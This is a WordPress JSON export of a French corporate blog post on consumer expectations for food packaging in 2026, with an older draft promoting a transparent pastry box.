{"id":22586,"date":"2026-03-31T16:48:49","date_gmt":"2026-03-31T14:48:49","guid":{"rendered":"https:\/\/www.groupeguillin.fr\/?p=22586"},"modified":"2026-03-31T16:50:38","modified_gmt":"2026-03-31T14:50:38","slug":"ce-que-les-francais-attendent-des-emballages-alimentaires-en-2026","status":"publish","type":"post","link":"https:\/\/www.groupeguillin.fr\/?p=22586","title":{"rendered":"Ce que les Fran\u00e7ais attendent des emballages alimentaires en 2026"},"content":{"rendered":"<p>[et_pb_section fb_built=\u00a0\u00bb1&Prime; _builder_version=\u00a0\u00bb4.27.6&Prime; custom_margin=\u00a0\u00bb||292px|||\u00a0\u00bb custom_padding=\u00a0\u00bb0px||0px|||\u00a0\u00bb global_colors_info=\u00a0\u00bb{}\u00a0\u00bb][et_pb_row _builder_version=\u00a0\u00bb4.16&Prime; background_size=\u00a0\u00bbinitial\u00a0\u00bb background_position=\u00a0\u00bbtop_left\u00a0\u00bb background_repeat=\u00a0\u00bbrepeat\u00a0\u00bb min_height=\u00a0\u00bb239.4px\u00a0\u00bb custom_margin=\u00a0\u00bb|auto|-137px|auto||\u00a0\u00bb custom_padding=\u00a0\u00bb48px||2px|||\u00a0\u00bb global_colors_info=\u00a0\u00bb{}\u00a0\u00bb][et_pb_column type=\u00a0\u00bb4_4&Prime; _builder_version=\u00a0\u00bb4.16&Prime; custom_padding=\u00a0\u00bb|||\u00a0\u00bb global_colors_info=\u00a0\u00bb{}\u00a0\u00bb custom_padding__hover=\u00a0\u00bb|||\u00a0\u00bb][et_pb_text _builder_version=\u00a0\u00bb4.16&Prime; background_size=\u00a0\u00bbinitial\u00a0\u00bb background_position=\u00a0\u00bbtop_left\u00a0\u00bb background_repeat=\u00a0\u00bbrepeat\u00a0\u00bb min_height=\u00a0\u00bb224.4px\u00a0\u00bb custom_margin=\u00a0\u00bb-32px||7px|||\u00a0\u00bb custom_padding=\u00a0\u00bb||0px|||\u00a0\u00bb inline_fonts=\u00a0\u00bbArial\u00a0\u00bb global_colors_info=\u00a0\u00bb{}\u00a0\u00bb]<\/p>\n<h4>L\u2019emballage n\u2019est plus un support : c\u2019est un levier strat\u00e9gique<\/h4>\n<p>\u00c0 l\u2019horizon 2026, dans un contexte marqu\u00e9 par le <span style=\"color: #21aa6b;\">renforcement des exigences r\u00e9glementaires europ\u00e9ennes<\/span> (notamment avec le PPWR) l\u2019emballage alimentaire a profond\u00e9ment <span style=\"color: #21aa6b;\">chang\u00e9 de statut<\/span>.<\/p>\n<p>Il ne se limite plus \u00e0 une fonction <span style=\"color: #21aa6b;\">logistique ou de protection<\/span>. Il devient un <strong><span style=\"color: #21aa6b;\">outil strat\u00e9gique au c\u0153ur de la d\u00e9cision d\u2019achat<\/span><\/strong>, un <span style=\"color: #21aa6b;\"><strong>levier de diff\u00e9renciation en rayon<\/strong><\/span>, mais aussi un <strong><span style=\"color: #21aa6b;\">marqueur de cr\u00e9dibilit\u00e9 environnementale<\/span><\/strong>.<\/p>\n<p>Les signaux du march\u00e9 sont sans \u00e9quivoque : les attentes des consommateurs fran\u00e7ais sont d\u00e9sormais <span style=\"color: #21aa6b;\">structur\u00e9es<\/span>, <span style=\"color: #21aa6b;\">\u00e9lev\u00e9es<\/span>\u2026 et parfois <span style=\"color: #21aa6b;\">paradoxales<\/span>.<\/p>\n<p>Pour les \u00e9quipes commerciales, cela implique un basculement clair : vous ne vendez plus un emballage, vous vendez une solution qui influence directement la conversion.<\/p>\n<p><span style=\"font-family: inherit; font-weight: normal;\"><!-- \/divi:paragraph --><\/span><\/p>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row _builder_version=\u00a0\u00bb4.27.6&Prime; _module_preset=\u00a0\u00bbdefault\u00a0\u00bb global_colors_info=\u00a0\u00bb{}\u00a0\u00bb][et_pb_column type=\u00a0\u00bb4_4&Prime; _builder_version=\u00a0\u00bb4.27.6&Prime; _module_preset=\u00a0\u00bbdefault\u00a0\u00bb global_colors_info=\u00a0\u00bb{}\u00a0\u00bb][et_pb_image src=\u00a0\u00bbhttps:\/\/www.groupeguillin.fr\/wp-content\/uploads\/2026\/03\/1.png\u00a0\u00bb title_text=\u00a0\u00bb1&Prime; _builder_version=\u00a0\u00bb4.27.6&Prime; _module_preset=\u00a0\u00bbdefault\u00a0\u00bb min_height=\u00a0\u00bb479.4px\u00a0\u00bb custom_margin=\u00a0\u00bb||-183px|||\u00a0\u00bb custom_padding=\u00a0\u00bb||0px|||\u00a0\u00bb global_colors_info=\u00a0\u00bb{}\u00a0\u00bb][\/et_pb_image][\/et_pb_column][\/et_pb_row][et_pb_row _builder_version=\u00a0\u00bb4.27.6&Prime; _module_preset=\u00a0\u00bbdefault\u00a0\u00bb global_colors_info=\u00a0\u00bb{}\u00a0\u00bb][et_pb_column type=\u00a0\u00bb4_4&Prime; _builder_version=\u00a0\u00bb4.27.6&Prime; _module_preset=\u00a0\u00bbdefault\u00a0\u00bb global_colors_info=\u00a0\u00bb{}\u00a0\u00bb][et_pb_text _builder_version=\u00a0\u00bb4.27.6&Prime; _module_preset=\u00a0\u00bbdefault\u00a0\u00bb global_colors_info=\u00a0\u00bb{}\u00a0\u00bb]<\/p>\n<p><span style=\"font-family: inherit;\">Les chiffres sont sans appel :<\/span><\/p>\n<ul>\n<li><span style=\"font-family: inherit;\">71 % des consommateurs d\u00e9clarent pr\u00eater attention \u00e0 l\u2019emballage<\/span><\/li>\n<li><span style=\"font-family: inherit;\">Plus d\u2019un sur deux a d\u00e9j\u00e0 modifi\u00e9 son achat \u00e0 cause de celui-ci<\/span><\/li>\n<\/ul>\n<p><span style=\"font-family: inherit;\">L\u2019emballage devient ainsi un \u00e9quivalent du branding produit.<\/span><br \/><span style=\"font-family: inherit;\">Il agit simultan\u00e9ment sur :<\/span><br \/><span style=\"font-family: inherit;\"><span style=\"font-size: 16px;\"><em>\u279c <\/em>la perception de qualit\u00e9<br \/><\/span><span style=\"font-size: 16px;\"><em>\u279c <\/em>la confiance accord\u00e9e \u00e0 la marque<br \/><\/span><span style=\"font-size: 16px;\"><em>\u279c <\/em>la d\u00e9cision finale en rayon<\/span><\/span><\/p>\n<p><span style=\"font-family: inherit;\">Autrement dit, il ne soutient plus la vente : il y participe activement.<\/span><\/p>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row _builder_version=\u00a0\u00bb4.27.6&Prime; _module_preset=\u00a0\u00bbdefault\u00a0\u00bb custom_margin=\u00a0\u00bb|auto|-167px|auto||\u00a0\u00bb custom_padding=\u00a0\u00bb0px|||||\u00a0\u00bb global_colors_info=\u00a0\u00bb{}\u00a0\u00bb][et_pb_column type=\u00a0\u00bb4_4&Prime; _builder_version=\u00a0\u00bb4.27.6&Prime; _module_preset=\u00a0\u00bbdefault\u00a0\u00bb global_colors_info=\u00a0\u00bb{}\u00a0\u00bb][et_pb_image src=\u00a0\u00bbhttps:\/\/www.groupeguillin.fr\/wp-content\/uploads\/2026\/03\/2.png\u00a0\u00bb title_text=\u00a0\u00bb2&Prime; _builder_version=\u00a0\u00bb4.27.6&Prime; _module_preset=\u00a0\u00bbdefault\u00a0\u00bb custom_margin=\u00a0\u00bb-176px|||||\u00a0\u00bb custom_padding=\u00a0\u00bb24px||0px|||\u00a0\u00bb global_colors_info=\u00a0\u00bb{}\u00a0\u00bb][\/et_pb_image][\/et_pb_column][\/et_pb_row][et_pb_row _builder_version=\u00a0\u00bb4.27.6&Prime; _module_preset=\u00a0\u00bbdefault\u00a0\u00bb global_colors_info=\u00a0\u00bb{}\u00a0\u00bb][et_pb_column type=\u00a0\u00bb4_4&Prime; _builder_version=\u00a0\u00bb4.27.6&Prime; _module_preset=\u00a0\u00bbdefault\u00a0\u00bb global_colors_info=\u00a0\u00bb{}\u00a0\u00bb][et_pb_text _builder_version=\u00a0\u00bb4.27.6&Prime; _module_preset=\u00a0\u00bbdefault\u00a0\u00bb global_colors_info=\u00a0\u00bb{}\u00a0\u00bb]<\/p>\n<p>Le march\u00e9 le montre clairement : le <span style=\"color: #339966;\">papier-carton b\u00e9n\u00e9ficie d\u2019une pr\u00e9f\u00e9rence marqu\u00e9e<\/span> (67 %), car per\u00e7u comme plus \u00e9cologique.<\/p>\n<p>Mais cette perception repose rarement sur des analyses compl\u00e8tes (type ACV).<br \/>Le consommateur raisonne avant tout \u00e0 partir de <span style=\"color: #339966;\">signaux simples, visibles et compr\u00e9hensibles<\/span>.<\/p>\n<p>Cela red\u00e9finit profond\u00e9ment les leviers commerciaux :<\/p>\n<ul>\n<li>Valoriser des <span style=\"color: #339966;\">solutions lisibles<\/span> (papier, recycl\u00e9, mono-mat\u00e9riau)<\/li>\n<li>Traduire la <span style=\"color: #339966;\">complexit\u00e9 technique<\/span> en b\u00e9n\u00e9fices concrets<\/li>\n<li>Rendre la <span style=\"color: #339966;\">durabilit\u00e9 visible et intelligible<\/span><\/li>\n<\/ul>\n<p>Sur le march\u00e9, ce n\u2019est pas toujours le mat\u00e9riau le plus vertueux qui s\u2019impose, <strong><span style=\"color: #339966;\">mais celui qui est le mieux compris<\/span><\/strong>.<\/p>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row _builder_version=\u00a0\u00bb4.27.6&Prime; _module_preset=\u00a0\u00bbdefault\u00a0\u00bb custom_padding=\u00a0\u00bb||28px|||\u00a0\u00bb global_colors_info=\u00a0\u00bb{}\u00a0\u00bb][et_pb_column type=\u00a0\u00bb4_4&Prime; _builder_version=\u00a0\u00bb4.27.6&Prime; _module_preset=\u00a0\u00bbdefault\u00a0\u00bb global_colors_info=\u00a0\u00bb{}\u00a0\u00bb][et_pb_image src=\u00a0\u00bbhttps:\/\/www.groupeguillin.fr\/wp-content\/uploads\/2026\/03\/3.png\u00a0\u00bb title_text=\u00a0\u00bb3&Prime; _builder_version=\u00a0\u00bb4.27.6&Prime; _module_preset=\u00a0\u00bbdefault\u00a0\u00bb custom_margin=\u00a0\u00bb-184px|||||\u00a0\u00bb custom_padding=\u00a0\u00bb||0px|||\u00a0\u00bb global_colors_info=\u00a0\u00bb{}\u00a0\u00bb][\/et_pb_image][\/et_pb_column][\/et_pb_row][et_pb_row _builder_version=\u00a0\u00bb4.27.6&Prime; _module_preset=\u00a0\u00bbdefault\u00a0\u00bb custom_padding=\u00a0\u00bb0px|||||\u00a0\u00bb global_colors_info=\u00a0\u00bb{}\u00a0\u00bb][et_pb_column type=\u00a0\u00bb4_4&Prime; _builder_version=\u00a0\u00bb4.27.6&Prime; _module_preset=\u00a0\u00bbdefault\u00a0\u00bb global_colors_info=\u00a0\u00bb{}\u00a0\u00bb][et_pb_text _builder_version=\u00a0\u00bb4.27.6&Prime; _module_preset=\u00a0\u00bbdefault\u00a0\u00bb min_height=\u00a0\u00bb364px\u00a0\u00bb custom_margin=\u00a0\u00bb-140px|||||\u00a0\u00bb custom_padding=\u00a0\u00bb0px|||||\u00a0\u00bb global_colors_info=\u00a0\u00bb{}\u00a0\u00bb]<\/p>\n<p>Le paradoxe est fort :<\/p>\n<ul>\n<li>83 % des consommateurs jugent les <span style=\"color: #21aa6b;\">all\u00e9gations environnementales peu fiables<\/span><\/li>\n<li>86 % d\u00e9clarent mal comprendre la <span style=\"color: #21aa6b;\">durabilit\u00e9 r\u00e9elle des emballages<\/span><\/li>\n<\/ul>\n<p>Ce climat de d\u00e9fiance g\u00e9n\u00e9ralis\u00e9e transforme profond\u00e9ment le r\u00f4le de l\u2019emballage.<\/p>\n<p>Il ne doit plus seulement informer : il doit prouver.<\/p>\n<p>Cela passe par :<\/p>\n<ul>\n<li>des pictogrammes explicites<\/li>\n<li>des QR codes p\u00e9dagogiques<\/li>\n<li>des informations v\u00e9rifiables et transparentes<\/li>\n<\/ul>\n<p>L\u2019emballage devient ainsi un support actif de r\u00e9assurance.<\/p>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row _builder_version=\u00a0\u00bb4.27.6&Prime; _module_preset=\u00a0\u00bbdefault\u00a0\u00bb custom_padding=\u00a0\u00bb||0px|||\u00a0\u00bb global_colors_info=\u00a0\u00bb{}\u00a0\u00bb][et_pb_column type=\u00a0\u00bb4_4&Prime; _builder_version=\u00a0\u00bb4.27.6&Prime; _module_preset=\u00a0\u00bbdefault\u00a0\u00bb global_colors_info=\u00a0\u00bb{}\u00a0\u00bb][et_pb_image src=\u00a0\u00bbhttps:\/\/www.groupeguillin.fr\/wp-content\/uploads\/2026\/03\/4.png\u00a0\u00bb title_text=\u00a0\u00bb4&Prime; _builder_version=\u00a0\u00bb4.27.6&Prime; _module_preset=\u00a0\u00bbdefault\u00a0\u00bb custom_margin=\u00a0\u00bb-201px|||||\u00a0\u00bb custom_padding=\u00a0\u00bb||0px|||\u00a0\u00bb global_colors_info=\u00a0\u00bb{}\u00a0\u00bb][\/et_pb_image][\/et_pb_column][\/et_pb_row][et_pb_row _builder_version=\u00a0\u00bb4.27.6&Prime; _module_preset=\u00a0\u00bbdefault\u00a0\u00bb custom_margin=\u00a0\u00bb-104px|auto||auto||\u00a0\u00bb custom_padding=\u00a0\u00bb0px|||||\u00a0\u00bb global_colors_info=\u00a0\u00bb{}\u00a0\u00bb][et_pb_column type=\u00a0\u00bb4_4&Prime; _builder_version=\u00a0\u00bb4.27.6&Prime; _module_preset=\u00a0\u00bbdefault\u00a0\u00bb global_colors_info=\u00a0\u00bb{}\u00a0\u00bb][et_pb_text _builder_version=\u00a0\u00bb4.27.6&Prime; _module_preset=\u00a0\u00bbdefault\u00a0\u00bb custom_padding=\u00a0\u00bb0px|||||\u00a0\u00bb global_colors_info=\u00a0\u00bb{}\u00a0\u00bb]<\/p>\n<p>L\u2019\u00e9co-emballage est un levier puissant\u2026 mais jamais suffisant.\u00a0<\/p>\n<p>Si 56 % des consommateurs se disent sensibles \u00e0 l\u2019impact environnemental, seuls 44 % passent r\u00e9ellement \u00e0 l\u2019achat.<\/p>\n<p>Cet \u00e9cart r\u00e9v\u00e8le une r\u00e9alit\u00e9 cl\u00e9 : l\u2019emballage durable reste soumis \u00e0 des arbitrages fondamentaux tels que le <span style=\"color: #21aa6b;\">prix<\/span>, la <span style=\"color: #21aa6b;\">praticit\u00e9 <\/span>ou encore la <span style=\"color: #21aa6b;\">s\u00e9curit\u00e9 alimentaire<\/span>. Et ces crit\u00e8res restent <strong><span style=\"color: #21aa6b;\">non n\u00e9gociables<\/span><\/strong>.<\/p>\n<p>Un emballage, m\u00eame vertueux, qui d\u00e9grade l\u2019exp\u00e9rience d\u2019usage ou la conservation devient imm\u00e9diatement <span style=\"color: #21aa6b;\">contre-performant<\/span>.<\/p>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row _builder_version=\u00a0\u00bb4.27.6&Prime; _module_preset=\u00a0\u00bbdefault\u00a0\u00bb global_colors_info=\u00a0\u00bb{}\u00a0\u00bb][et_pb_column type=\u00a0\u00bb4_4&Prime; _builder_version=\u00a0\u00bb4.27.6&Prime; _module_preset=\u00a0\u00bbdefault\u00a0\u00bb global_colors_info=\u00a0\u00bb{}\u00a0\u00bb][et_pb_image src=\u00a0\u00bbhttps:\/\/www.groupeguillin.fr\/wp-content\/uploads\/2026\/03\/5.png\u00a0\u00bb title_text=\u00a0\u00bb5&Prime; _builder_version=\u00a0\u00bb4.27.6&Prime; _module_preset=\u00a0\u00bbdefault\u00a0\u00bb min_height=\u00a0\u00bb581.4px\u00a0\u00bb custom_margin=\u00a0\u00bb-188px|||||\u00a0\u00bb custom_padding=\u00a0\u00bb0px||0px|||\u00a0\u00bb global_colors_info=\u00a0\u00bb{}\u00a0\u00bb][\/et_pb_image][\/et_pb_column][\/et_pb_row][et_pb_row _builder_version=\u00a0\u00bb4.27.6&Prime; _module_preset=\u00a0\u00bbdefault\u00a0\u00bb custom_margin=\u00a0\u00bb-41px|auto||auto||\u00a0\u00bb global_colors_info=\u00a0\u00bb{}\u00a0\u00bb][et_pb_column type=\u00a0\u00bb4_4&Prime; _builder_version=\u00a0\u00bb4.27.6&Prime; _module_preset=\u00a0\u00bbdefault\u00a0\u00bb global_colors_info=\u00a0\u00bb{}\u00a0\u00bb][et_pb_text _builder_version=\u00a0\u00bb4.27.6&Prime; _module_preset=\u00a0\u00bbdefault\u00a0\u00bb min_height=\u00a0\u00bb485px\u00a0\u00bb custom_margin=\u00a0\u00bb-127px||-522px|||\u00a0\u00bb custom_padding=\u00a0\u00bb0px||1px|||\u00a0\u00bb global_colors_info=\u00a0\u00bb{}\u00a0\u00bb]<\/p>\n<p>Contrairement aux id\u00e9es re\u00e7ues, le consommateur ne recherche pas le \u201cz\u00e9ro impact\u201d.<br \/>Il cherche un compromis cr\u00e9dible et fonctionnel.<\/p>\n<p>Ses priorit\u00e9s sont clairement hi\u00e9rarchis\u00e9es :<\/p>\n<ol>\n<li>S\u00e9curit\u00e9 alimentaire<\/li>\n<li>Conservation<\/li>\n<li>Facilit\u00e9 d\u2019usage<\/li>\n<li>Impact environnemental<\/li>\n<\/ol>\n<p>Cette hi\u00e9rarchie est essentielle : elle repositionne le r\u00f4le du commercial, qui doit d\u00e9sormais argumenter sur <span style=\"color: #21aa6b;\">l\u2019\u00e9quilibre global<\/span>, et non sur un seul crit\u00e8re.<\/p>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row _builder_version=\u00a0\u00bb4.27.6&Prime; _module_preset=\u00a0\u00bbdefault\u00a0\u00bb global_colors_info=\u00a0\u00bb{}\u00a0\u00bb][et_pb_column type=\u00a0\u00bb4_4&Prime; _builder_version=\u00a0\u00bb4.27.6&Prime; _module_preset=\u00a0\u00bbdefault\u00a0\u00bb global_colors_info=\u00a0\u00bb{}\u00a0\u00bb][et_pb_image src=\u00a0\u00bbhttps:\/\/www.groupeguillin.fr\/wp-content\/uploads\/2026\/03\/6.png\u00a0\u00bb title_text=\u00a0\u00bb6&Prime; _builder_version=\u00a0\u00bb4.27.6&Prime; _module_preset=\u00a0\u00bbdefault\u00a0\u00bb min_height=\u00a0\u00bb536.4px\u00a0\u00bb custom_margin=\u00a0\u00bb8px||-139px|||\u00a0\u00bb custom_padding=\u00a0\u00bb0px||0px|||\u00a0\u00bb global_colors_info=\u00a0\u00bb{}\u00a0\u00bb][\/et_pb_image][\/et_pb_column][\/et_pb_row][et_pb_row _builder_version=\u00a0\u00bb4.27.6&Prime; _module_preset=\u00a0\u00bbdefault\u00a0\u00bb global_colors_info=\u00a0\u00bb{}\u00a0\u00bb][et_pb_column type=\u00a0\u00bb4_4&Prime; _builder_version=\u00a0\u00bb4.27.6&Prime; _module_preset=\u00a0\u00bbdefault\u00a0\u00bb global_colors_info=\u00a0\u00bb{}\u00a0\u00bb][\/et_pb_column][\/et_pb_row][et_pb_row _builder_version=\u00a0\u00bb4.27.6&Prime; _module_preset=\u00a0\u00bbdefault\u00a0\u00bb custom_margin=\u00a0\u00bb-166px|auto||auto||\u00a0\u00bb custom_padding=\u00a0\u00bb0px|||||\u00a0\u00bb global_colors_info=\u00a0\u00bb{}\u00a0\u00bb][et_pb_column type=\u00a0\u00bb4_4&Prime; _builder_version=\u00a0\u00bb4.27.6&Prime; _module_preset=\u00a0\u00bbdefault\u00a0\u00bb global_colors_info=\u00a0\u00bb{}\u00a0\u00bb][et_pb_text _builder_version=\u00a0\u00bb4.27.6&Prime; _module_preset=\u00a0\u00bbdefault\u00a0\u00bb global_colors_info=\u00a0\u00bb{}\u00a0\u00bb min_height=\u00a0\u00bb142px\u00a0\u00bb custom_padding=\u00a0\u00bb30px|||||\u00a0\u00bb]<\/p>\n<p>Entre 42 % et 54 % des consommateurs se d\u00e9clarent <span style=\"color: #008000;\">pr\u00eats \u00e0 payer plus pour un emballage durable<\/span>. Ce chiffre monte jusqu\u2019\u00e0 pr\u00e8s de 60 % chez les mill\u00e9niaux et la g\u00e9n\u00e9ration Z.<\/p>\n<p>Mais cette disposition repose sur une condition cl\u00e9 : la <span style=\"color: #008000;\">compr\u00e9hension de la valeur<\/span>.<\/p>\n<p><span style=\"color: #008000;\">Le surco\u00fbt doit \u00eatre visible, justifi\u00e9 et compr\u00e9hensible<\/span>. Il ne s\u2019agit donc pas de vendre plus cher, mais de rendre la valeur \u00e9vidente.<\/p>\n<p><strong><span style=\"color: #008000;\">Le prix devient acceptable d\u00e8s lors qu\u2019il fait sens.<\/span><\/strong><\/p>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row _builder_version=\u00a0\u00bb4.27.6&Prime; _module_preset=\u00a0\u00bbdefault\u00a0\u00bb global_colors_info=\u00a0\u00bb{}\u00a0\u00bb][et_pb_column type=\u00a0\u00bb4_4&Prime; _builder_version=\u00a0\u00bb4.27.6&Prime; _module_preset=\u00a0\u00bbdefault\u00a0\u00bb global_colors_info=\u00a0\u00bb{}\u00a0\u00bb][et_pb_image src=\u00a0\u00bbhttps:\/\/www.groupeguillin.fr\/wp-content\/uploads\/2026\/03\/7.png\u00a0\u00bb title_text=\u00a0\u00bb7&Prime; _builder_version=\u00a0\u00bb4.27.6&Prime; _module_preset=\u00a0\u00bbdefault\u00a0\u00bb custom_margin=\u00a0\u00bb-192px|||||\u00a0\u00bb global_colors_info=\u00a0\u00bb{}\u00a0\u00bb][\/et_pb_image][\/et_pb_column][\/et_pb_row][et_pb_row _builder_version=\u00a0\u00bb4.27.6&Prime; _module_preset=\u00a0\u00bbdefault\u00a0\u00bb global_colors_info=\u00a0\u00bb{}\u00a0\u00bb][et_pb_column type=\u00a0\u00bb4_4&Prime; _builder_version=\u00a0\u00bb4.27.6&Prime; _module_preset=\u00a0\u00bbdefault\u00a0\u00bb global_colors_info=\u00a0\u00bb{}\u00a0\u00bb][et_pb_text _builder_version=\u00a0\u00bb4.27.6&Prime; _module_preset=\u00a0\u00bbdefault\u00a0\u00bb custom_margin=\u00a0\u00bb-194px|||||\u00a0\u00bb global_colors_info=\u00a0\u00bb{}\u00a0\u00bb]<\/p>\n<p>Les attentes des consommateurs s\u2019organisent d\u00e9sormais autour de quatre piliers majeurs :<\/p>\n<ol>\n<li>R\u00e9duction\u00a0: All\u00e8gement, simplification, mono-mat\u00e9riau<\/li>\n<li>Circularit\u00e9 r\u00e9elle\u00a0: Recyclabilit\u00e9 effective, r\u00e9emploi, fili\u00e8res existantes<\/li>\n<li>Transparence\u00a0: Lisibilit\u00e9, p\u00e9dagogie, preuve<\/li>\n<li>\u00c9quilibre global\u00a0: Performance environnementale \u00d7 usage \u00d7 co\u00fbt<\/li>\n<\/ol>\n<p>C\u2019est pr\u00e9cis\u00e9ment sur cet \u00e9quilibre que se joue aujourd\u2019hui la performance commerciale.<\/p>\n<h4><\/h4>\n<h4>Conclusion : le nouveau r\u00f4le du commercial<\/h4>\n<p>&nbsp;<\/p>\n<p>En 2026, le m\u00e9tier \u00e9volue en profondeur.<\/p>\n<p>Le commercial en emballage alimentaire devient :<\/p>\n<ul>\n<li>un <span style=\"color: #21aa6b;\">traducteur<\/span>, capable de transformer la complexit\u00e9 technique en b\u00e9n\u00e9fices clairs<\/li>\n<li>un <span style=\"color: #21aa6b;\">conseiller strat\u00e9gique<\/span>, qui accompagne les arbitrages entre co\u00fbt, usage et impact<\/li>\n<li>un <span style=\"color: #21aa6b;\">garant de cr\u00e9dibilit\u00e9<\/span>, apportant des preuves dans un march\u00e9 marqu\u00e9 par la d\u00e9fiance<\/li>\n<\/ul>\n<p>Plus que jamais, la performance ne repose pas uniquement sur le produit\u2026<br \/>mais sur la capacit\u00e9 \u00e0 le rendre compr\u00e9hensible, pertinent et cr\u00e9dible.<\/p>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row _builder_version=\u00a0\u00bb4.27.6&Prime; _module_preset=\u00a0\u00bbdefault\u00a0\u00bb custom_padding=\u00a0\u00bb||0px|||\u00a0\u00bb global_colors_info=\u00a0\u00bb{}\u00a0\u00bb][et_pb_column type=\u00a0\u00bb4_4&Prime; _builder_version=\u00a0\u00bb4.27.6&Prime; _module_preset=\u00a0\u00bbdefault\u00a0\u00bb global_colors_info=\u00a0\u00bb{}\u00a0\u00bb][\/et_pb_column][\/et_pb_row][\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":"<p>L\u2019emballage n\u2019est plus un support : c\u2019est un levier strat\u00e9gique \u00c0 l\u2019horizon 2026, dans un contexte marqu\u00e9 par le renforcement des exigences r\u00e9glementaires europ\u00e9ennes (notamment avec le PPWR) l\u2019emballage alimentaire a profond\u00e9ment chang\u00e9 de statut. Il ne se limite plus \u00e0 une fonction logistique ou de protection. Il devient un outil strat\u00e9gique au c\u0153ur de [&hellip;]<\/p>\n","protected":false},"author":7,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"_et_pb_use_builder":"on","_et_pb_old_content":"<!-- wp:paragraph -->\n<p>Pendant plusieurs ann\u00e9es, de nombreux points de vente ont fait le choix du sac papier pour emballer leurs viennoiseries. Une d\u00e9cision souvent guid\u00e9e par la volont\u00e9 de suivre les attentes consommateur de la r\u00e9duction du plastique.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Pourtant, sur le terrain, un constat s\u2019impose aujourd\u2019hui : le produit ne se vend pas aussi bien quand il ne se voit pas. En effet, ces derniers mois, un mouvement tr\u00e8s clair s\u2019est dessin\u00e9 : des magasins reviennent \u00e0 des solutions plus transparentes, apr\u00e8s avoir test\u00e9 des emballages papier.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Pourquoi ? Parce que les chiffres parlent d\u2019eux-m\u00eames.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>La r\u00e9alit\u00e9 du rayon : voir, c\u2019est vendre<\/strong><\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La viennoiserie est un achat d\u2019impulsion.<br>Elle repose sur trois leviers fondamentaux : la gourmandise, la fra\u00eecheur per\u00e7ue et l\u2019envie imm\u00e9diate. Un emballage opaque casse cette m\u00e9canique.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>\u00c0 l\u2019inverse, la transparence :<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:list -->\n<ul class=\"wp-block-list\"><!-- wp:list-item -->\n<li>met en valeur les textures (feuilletage, dorure, sucre)<\/li>\n<!-- \/wp:list-item -->\n\n<!-- wp:list-item -->\n<li>rassure sur la qualit\u00e9 et la fra\u00eecheur<\/li>\n<!-- \/wp:list-item -->\n\n<!-- wp:list-item -->\n<li>d\u00e9clenche plus facilement l\u2019acte d\u2019achat<\/li>\n<!-- \/wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Renforce la vision premium<\/li>\n<!-- \/wp:list-item --><\/ul>\n<!-- \/wp:list -->\n\n<!-- wp:paragraph -->\n<p>Plusieurs de nos clients nous l\u2019ont confirm\u00e9 apr\u00e8s test :<br>\u00e0 le passage au papier a entra\u00een\u00e9 une baisse de performance en rayon<br>\u00e0 le retour \u00e0 la transparence a permis de regagner en attractivit\u00e9\u2026 et en ventes<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"\" alt=\"\"\/><\/figure>\n<!-- \/wp:image -->\n\n<!-- wp:paragraph -->\n<p><strong>DIAMIPACK : une r\u00e9ponse concr\u00e8te aux enjeux commerciaux<\/strong><\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>C\u2019est pr\u00e9cis\u00e9ment pour r\u00e9pondre \u00e0 ces constats terrain que nous avons con\u00e7u DIAMIPACK.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Une bo\u00eete pens\u00e9e non pas seulement comme un emballage\u2026 mais comme un v\u00e9ritable outil de vente.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:list -->\n<ul class=\"wp-block-list\"><!-- wp:list-item -->\n<li>Visibilit\u00e9 produit maximale\u00a0: chaque viennoiserie est imm\u00e9diatement identifiable. Le produit fait le travail.<\/li>\n<!-- \/wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Design structur\u00e9 pour performer en rayon\u00a0: gr\u00e2ce \u00e0 son empilabilit\u00e9 optimis\u00e9e, il y a plus de produits visibles en rayon, les emballages se tiennent entre eux pour une tenue de rayon parfaite<\/li>\n<!-- \/wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Rationalisation des r\u00e9f\u00e9rences\u00a0: seulement 3 formats pour couvrir l\u2019ensemble des besoins (2, 4, 5, 6 ou 8\/10 pi\u00e8ces). Les \u00e9quipes b\u00e9n\u00e9ficient d\u2019une gestion simplifi\u00e9e et de plus de place dans les stocks.<\/li>\n<!-- \/wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Polyvalence totale\u00a0: Croissants, pains au chocolat (ou chocolatines), palmiers, chouquettes, pains aux raisins, chaussons\u2026 Un seul emballage pour toute l\u2019offre viennoiserie<\/li>\n<!-- \/wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Protection imbattable\u00a0: termin\u00e9s les produits \u00e9cras\u00e9s dans le caddy ou m\u00eame dans les rayons. La rigidit\u00e9 du plastique prot\u00e8ge les produits, et surtout, il rassure les clients.<\/li>\n<!-- \/wp:list-item --><\/ul>\n<!-- \/wp:list -->\n\n<!-- wp:image {\"id\":22229,\"sizeSlug\":\"full\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-full\"><img src=\"https:\/\/www.groupeguillin.fr\/wp-content\/uploads\/2026\/03\/image-e1774863154510.jpeg\" alt=\"\" 